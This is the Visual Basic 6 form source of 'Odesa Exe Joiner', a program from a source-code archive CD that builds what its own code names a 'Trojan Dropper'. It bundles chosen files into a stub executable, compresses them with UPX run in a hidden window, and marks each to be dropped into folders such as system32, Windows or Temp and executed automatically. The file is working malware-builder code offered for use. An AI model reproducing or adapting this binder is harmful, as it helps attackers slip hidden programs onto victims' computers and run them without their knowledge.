home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 6_2008-2009.ISO / data / zips / Odesa_Exe_21657410212009.psc / BinderForm.frm < prev    next >
Text File  |  2009-10-21  |  11KB  |  414 lines

  1. VERSION 5.00
  2. Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "mscomctl.ocx"
  3. Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "Comdlg32.ocx"
  4. Begin VB.Form BinderMainForm 
  5.    BorderStyle     =   1  'Fixed Single
  6.    Caption         =   "Odesa Yaz²l²m Exe Joiner - www.odesayazilim.com"
  7.    ClientHeight    =   2100
  8.    ClientLeft      =   150
  9.    ClientTop       =   540
  10.    ClientWidth     =   7860
  11.    Icon            =   "BinderForm.frx":0000
  12.    LinkTopic       =   "Form1"
  13.    MaxButton       =   0   'False
  14.    ScaleHeight     =   2100
  15.    ScaleWidth      =   7860
  16.    StartUpPosition =   2  'CenterScreen
  17.    Begin MSComDlg.CommonDialog CommonDialog1 
  18.       Left            =   960
  19.       Top             =   120
  20.       _ExtentX        =   847
  21.       _ExtentY        =   847
  22.       _Version        =   393216
  23.       CancelError     =   -1  'True
  24.    End
  25.    Begin MSComctlLib.ListView BinderList 
  26.       Height          =   2415
  27.       Left            =   0
  28.       TabIndex        =   0
  29.       Top             =   0
  30.       Width           =   7935
  31.       _ExtentX        =   13996
  32.       _ExtentY        =   4260
  33.       View            =   3
  34.       LabelWrap       =   -1  'True
  35.       HideSelection   =   0   'False
  36.       FullRowSelect   =   -1  'True
  37.       GridLines       =   -1  'True
  38.       _Version        =   393217
  39.       ForeColor       =   -2147483640
  40.       BackColor       =   -2147483643
  41.       BorderStyle     =   1
  42.       Appearance      =   1
  43.       NumItems        =   5
  44.       BeginProperty ColumnHeader(1) {BDD1F052-858B-11D1-B16A-00C0F0283628} 
  45.          Text            =   "File path"
  46.          Object.Width           =   3881
  47.       EndProperty
  48.       BeginProperty ColumnHeader(2) {BDD1F052-858B-11D1-B16A-00C0F0283628} 
  49.          SubItemIndex    =   1
  50.          Text            =   "File name"
  51.          Object.Width           =   2540
  52.       EndProperty
  53.       BeginProperty ColumnHeader(3) {BDD1F052-858B-11D1-B16A-00C0F0283628} 
  54.          SubItemIndex    =   2
  55.          Text            =   "File size"
  56.          Object.Width           =   1677
  57.       EndProperty
  58.       BeginProperty ColumnHeader(4) {BDD1F052-858B-11D1-B16A-00C0F0283628} 
  59.          SubItemIndex    =   3
  60.          Text            =   "Drop into"
  61.          Object.Width           =   2540
  62.       EndProperty
  63.       BeginProperty ColumnHeader(5) {BDD1F052-858B-11D1-B16A-00C0F0283628} 
  64.          SubItemIndex    =   4
  65.          Text            =   "Execute"
  66.          Object.Width           =   1588
  67.       EndProperty
  68.    End
  69.    Begin VB.Menu MainMenu 
  70.       Caption         =   "File"
  71.       Begin VB.Menu AddFile 
  72.          Caption         =   "Add file..."
  73.       End
  74.       Begin VB.Menu RemoveFile 
  75.          Caption         =   "Remove file"
  76.       End
  77.       Begin VB.Menu ClearList 
  78.          Caption         =   "Clear list"
  79.       End
  80.       Begin VB.Menu MenuDelimiter1 
  81.          Caption         =   "-"
  82.       End
  83.       Begin VB.Menu DropIn 
  84.          Caption         =   "Drop in"
  85.          Begin VB.Menu AppPathDrop 
  86.             Caption         =   "Application path"
  87.          End
  88.          Begin VB.Menu TempFolderDrop 
  89.             Caption         =   "Temp"
  90.          End
  91.          Begin VB.Menu RootDrop 
  92.             Caption         =   "Root"
  93.          End
  94.          Begin VB.Menu WindowsDrop 
  95.             Caption         =   "Windows"
  96.          End
  97.          Begin VB.Menu systemDrop 
  98.             Caption         =   "system32"
  99.          End
  100.          Begin VB.Menu ProgFilesDrop 
  101.             Caption         =   "Program files"
  102.          End
  103.          Begin VB.Menu AppDataDrop 
  104.             Caption         =   "Application data"
  105.          End
  106.          Begin VB.Menu CustomPathDrop 
  107.             Caption         =   "Custom path..."
  108.          End
  109.       End
  110.       Begin VB.Menu ExecuteFileMenu 
  111.          Caption         =   "Execute"
  112.          Begin VB.Menu ExecuteFileYes 
  113.             Caption         =   "Yes"
  114.          End
  115.          Begin VB.Menu ExecuteFileNo 
  116.             Caption         =   "No"
  117.          End
  118.       End
  119.       Begin VB.Menu ChangeNameMenu 
  120.          Caption         =   "Change file name..."
  121.       End
  122.       Begin VB.Menu MenuDelimiter2 
  123.          Caption         =   "-"
  124.       End
  125.       Begin VB.Menu CompressFiles 
  126.          Caption         =   "Pack files (UPX)"
  127.          Checked         =   -1  'True
  128.       End
  129.       Begin VB.Menu BindFiles 
  130.          Caption         =   "Create Dropper..."
  131.       End
  132.       Begin VB.Menu about 
  133.          Caption         =   "About"
  134.       End
  135.    End
  136. End
  137. Attribute VB_Name = "BinderMainForm"
  138. Attribute VB_GlobalNameSpace = False
  139. Attribute VB_Creatable = False
  140. Attribute VB_PredeclaredId = True
  141. Attribute VB_Exposed = False
  142. '************************************************************
  143. ' Odesa Exe joiner
  144. ' version 1.0
  145. ' Author: Alper ESKIKILIC
  146. '
  147. '
  148. ' web  : www.odesayazilim.com
  149. ' email: odesayazilim@gmail.com
  150. ' Blog : odesateknikservis.blogspot.com
  151. '************************************************************
  152.  
  153.  
  154.  
  155. Option Explicit
  156.  
  157. Private Declare Function PathFileExists Lib "shlwapi.dll" Alias "PathFileExistsA" (ByVal pszPath As String) As Long
  158. Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
  159.  
  160. Private FileNumber As Integer
  161. Private Item As Object
  162.  
  163.  
  164. Private Sub about_Click()
  165. Form1.Show
  166. End Sub
  167.  
  168. Private Sub form_load()
  169. MainMenu.Visible = False
  170. End Sub
  171.  
  172.  
  173. Private Sub BinderList_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
  174.  
  175. If BinderList.ListItems.Count = 0 Then
  176. RemoveFile.Enabled = False
  177. ClearList.Enabled = False
  178. DropIn.Enabled = False
  179. ExecuteFileMenu.Enabled = False
  180. BindFiles.Enabled = False
  181. ChangeNameMenu.Enabled = False
  182. CompressFiles.Enabled = False
  183. Else
  184. RemoveFile.Enabled = True
  185. ClearList.Enabled = True
  186. DropIn.Enabled = True
  187. ExecuteFileMenu.Enabled = True
  188. BindFiles.Enabled = True
  189. ChangeNameMenu.Enabled = True
  190. CompressFiles.Enabled = True
  191. End If
  192.  
  193.  
  194. If Button = vbRightButton Then PopupMenu MainMenu
  195. End Sub
  196.  
  197. Private Sub AddFile_Click()
  198. On Error GoTo ErrorHandler
  199.  
  200. CommonDialog1.DialogTitle = "Choose a file to bind"
  201. CommonDialog1.Filter = "All files (*.*) | *.*"
  202. CommonDialog1.ShowOpen
  203.  
  204.  
  205.  
  206. For FileNumber = 1 To BinderList.ListItems.Count
  207.     If BinderList.ListItems.Item(FileNumber).Text = CommonDialog1.FileName Then
  208.     MsgBox "This file is already listed!", vbExclamation
  209.     Exit Sub
  210.     End If
  211. Next FileNumber
  212.     
  213. Set Item = BinderList.ListItems.Add
  214.  
  215.     Item.Text = CommonDialog1.FileName
  216.     Item.SubItems(1) = CommonDialog1.FileTitle
  217.     Item.SubItems(2) = Filesize(CommonDialog1.FileName)
  218.     Item.SubItems(3) = "Temp"
  219.     Item.SubItems(4) = "Yes"
  220.     
  221. ErrorHandler:
  222.     If Err.Number = 53 Then
  223.     If BinderList.ListItems.Count = 1 Then Call RemoveFile_Click
  224.     Exit Sub
  225.     End If
  226. End Sub
  227.  
  228. Private Sub BindFiles_Click()
  229. Dim OutputFile As String
  230. Dim StubData() As Byte
  231. Dim FileToBind As String, DataToBind As String
  232. Dim DropPath As String, Execution As String, FileName As String
  233.  
  234. Dim UPXdata() As Byte
  235. Dim UPXtempFile As String
  236. UPXdata = LoadResData(102, "Packer")
  237. UPXtempFile = App.Path & "\" & "UPXtemp.exe"
  238.  
  239. Const MainSplitter As String = "metalrock"
  240. Const SubSplitter As String = "emopunk"
  241.  
  242. On Error GoTo ErrorHandler:
  243.  
  244. CommonDialog1.DialogTitle = "Please choose where to save output file"
  245. CommonDialog1.FileName = "Trojan Dropper"
  246. CommonDialog1.DefaultExt = "exe"
  247. CommonDialog1.Filter = "Executables (*.exe)|*.exe|All Files (*.*)|*.*"
  248. CommonDialog1.ShowSave
  249.  
  250.  
  251. OutputFile = CommonDialog1.FileName
  252.  
  253. If PathFileExists(OutputFile) Then Kill OutputFile
  254.  
  255. StubData = LoadResData(101, "Stub")
  256. Open OutputFile For Binary As #1
  257. Put #1, , StubData
  258. Close #1
  259.  
  260. If CompressFiles.Checked = True Then
  261. Open UPXtempFile For Binary As #1
  262. Put #1, , UPXdata
  263. Close #1
  264. End If
  265.  
  266. For FileNumber = 1 To BinderList.ListItems.Count
  267.  
  268.  
  269.  
  270. FileToBind = BinderList.ListItems.Item(FileNumber).Text
  271. FileName = BinderList.ListItems.Item(FileNumber).SubItems(1)
  272. DropPath = BinderList.ListItems.Item(FileNumber).SubItems(3)
  273. Execution = BinderList.ListItems.Item(FileNumber).SubItems(4)
  274.  
  275. Open FileToBind For Binary As #1
  276. DataToBind = Space(LOF(1))
  277. Get #1, , DataToBind
  278. Close #1
  279.  
  280. If CompressFiles.Checked = True Then
  281. Dim TemporaryFile As String
  282. TemporaryFile = App.Path & "\" & "tempfile" & ".exe"
  283. Open TemporaryFile For Binary As #1
  284. Put #1, , DataToBind
  285. Close #1
  286. Shell """" & UPXtempFile & """ """ & TemporaryFile & "", vbHide
  287. Sleep 500
  288. Open TemporaryFile For Binary As #1
  289. DataToBind = Space(LOF(1))
  290. Get #1, , DataToBind
  291. Close #1
  292. End If
  293.  
  294. Open OutputFile For Binary As #1
  295. Put #1, LOF(1) + 1, MainSplitter & SubSplitter
  296. Put #1, LOF(1) + 1, DataToBind
  297. '                       1
  298. Put #1, LOF(1) + 1, SubSplitter & DropPath & SubSplitter & Execution & SubSplitter & FileName & SubSplitter
  299. '                                    2                         3                        4
  300. 'Put #1, LOF(1) + 1, MainSplitter
  301. Close #1
  302.  
  303. If CompressFiles.Checked = True Then
  304. Sleep 1000
  305. Kill TemporaryFile
  306. End If
  307.  
  308. Next FileNumber
  309.  
  310.  
  311. If CompressFiles.Checked = True Then Kill UPXtempFile
  312.  
  313.  
  314. MsgBox "Trojan Dropper file successfully built!" & vbNewLine & "Output file size: " & Filesize(OutputFile), vbInformation
  315. Exit Sub
  316.  
  317. ErrorHandler:
  318. If Err.Number = 32755 Then Err.Clear 'Error 32755: Cancel button pressed in CommonDialog
  319. End Sub
  320.  
  321.  
  322.  
  323.  
  324.  
  325. Private Sub RemoveFile_Click()
  326. If BinderList.ListItems.Count > 0 Then
  327. BinderList.ListItems.Remove BinderList.SelectedItem.Index
  328. End If
  329. End Sub
  330. Private Sub ClearList_Click()
  331. BinderList.ListItems.Clear
  332. End Sub
  333.  
  334.  
  335.  
  336.  
  337. Private Sub AppPathDrop_Click()
  338. BinderList.SelectedItem.SubItems(3) = "Application path"
  339. End Sub
  340.  
  341. Private Sub RootDrop_Click()
  342. BinderList.SelectedItem.SubItems(3) = "Root"
  343. End Sub
  344.  
  345. Private Sub systemDrop_Click()
  346. BinderList.SelectedItem.SubItems(3) = "system32"
  347. End Sub
  348.  
  349. Private Sub TempFolderDrop_Click()
  350. BinderList.SelectedItem.SubItems(3) = "Temp"
  351. End Sub
  352.  
  353. Private Sub WindowsDrop_Click()
  354. BinderList.SelectedItem.SubItems(3) = "Windows"
  355. End Sub
  356.  
  357. Private Sub ProgFilesDrop_Click()
  358. BinderList.SelectedItem.SubItems(3) = "Program files"
  359. End Sub
  360.  
  361. Private Sub AppDataDrop_Click()
  362. BinderList.SelectedItem.SubItems(3) = "Application data"
  363. End Sub
  364.  
  365. Private Sub CustomPathDrop_Click()
  366. ChooseCustomPath.Show
  367. End Sub
  368.  
  369.  
  370.  
  371. Private Sub ExecuteFileYes_Click()
  372. BinderList.SelectedItem.SubItems(4) = "Yes"
  373. End Sub
  374.  
  375.  
  376. Private Sub ExecuteFileNo_Click()
  377. BinderList.SelectedItem.SubItems(4) = "No"
  378. End Sub
  379.  
  380.  
  381. Private Sub ChangeNameMenu_Click()
  382. ChangeNameForm.Show
  383. ChangeNameForm.NewFileName.Text = BinderList.SelectedItem.SubItems(1)
  384. End Sub
  385.  
  386. Private Sub CompressFiles_Click()
  387. If CompressFiles.Checked = False Then
  388. CompressFiles.Checked = True
  389. Exit Sub
  390. End If
  391.  
  392. If CompressFiles.Checked = True Then
  393. CompressFiles.Checked = False
  394. End If
  395. End Sub
  396.  
  397.  
  398. Private Function Filesize(File As String) As String
  399.     Dim bytes As String
  400.     Dim Size As String
  401.     bytes = FileLen(File)
  402.     If bytes > 1024 Then
  403.         Size = " KB"
  404.         bytes = bytes / 1024
  405.     Else
  406.         Size = " Bytes"
  407.     End If
  408.     If bytes > 1024 Then
  409.         Size = " MB"
  410.         bytes = bytes / 1024
  411.     End If
  412.     Filesize = Round(bytes, 2) & Size
  413. End Function
  414.